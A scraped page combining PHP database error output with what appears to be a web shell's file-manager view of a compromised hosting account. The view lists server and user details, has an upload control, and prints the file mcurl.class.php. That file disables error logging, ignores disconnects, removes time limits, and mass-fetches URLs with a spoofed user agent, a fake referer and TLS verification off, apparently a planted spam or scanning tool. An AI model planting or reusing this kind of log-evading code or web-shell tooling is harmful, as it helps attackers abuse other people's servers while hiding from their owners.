A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux vps17447 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: dh_m2e37m (5712562)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /home/dh_m2e37m/immigrationvista.com.old/backup_1/mcurl.class.php
<?php
ignore_user_abort(true);
set_time_limit(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
class MCurl
{
	protected $_urls;
    protected $_result;
    protected $_timeout;
    public function __construct($timeout = 15, $urls = false)
    {
        $this->_timeout = $timeout;
        $this->_urls = $urls ? $urls : array();
        $this->_result = array();
    }
    public function setTimeout($timeout)
    {
        $this->_timeout = $timeout;
    }
    public function setUrls($urls)
    {
        $this->_urls = $urls;  
    }
    public function getResults()
    {
        if(!$this->_result) $this->scan();
        return $this->_result;
    }
    public function scan() 
    {
        $curl = array(); 
		$all_url = array();
        $mh = curl_multi_init();
		$UA = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4';
        
		foreach ($this->_urls as $id => $url)
        {
			$url = str_replace('http://', '', $url);
			$url = str_replace('https://', '', $url);
			$url = 'http://'.$url;
			
            $curl[$id] = curl_init();
            curl_setopt($curl[$id], CURLOPT_URL, $url);
			curl_setopt($curl[$id], CURLOPT_HEADER, 0);
            curl_setopt($curl[$id], CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl[$id], CURLOPT_TIMEOUT, 4);
            curl_setopt($curl[$id], CURLOPT_FOLLOWLOCATION, true);
			curl_setopt($curl[$id], CURLOPT_BINARYTRANSFER, true);
			curl_setopt($curl[$id], CURLOPT_AUTOREFERER, true);
			curl_setopt($curl[$id], CURLOPT_MAXREDIRS, 2);
			curl_setopt($curl[$id], CURLOPT_REFERER, 'http://simplesite.com');
			curl_setopt($curl[$id], CURLOPT_USERAGENT, $UA);
			curl_setopt($curl[$id], CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($curl[$id], CURLOPT_SSL_VERIFYPEER, 0);
            curl_multi_add_handle($mh, $curl[$id]);
			$all_url[] = $url;
        }
		
        $running = null;
        do curl_multi_exec($mh, $running);
        while($running > 0);
        foreach($curl as $id => $c)
        {
            $this->_result[$id] = curl_multi_getcontent($c);
            curl_multi_remove_handle($mh, $c);
        }
        curl_multi_close($mh);
    }
}
?>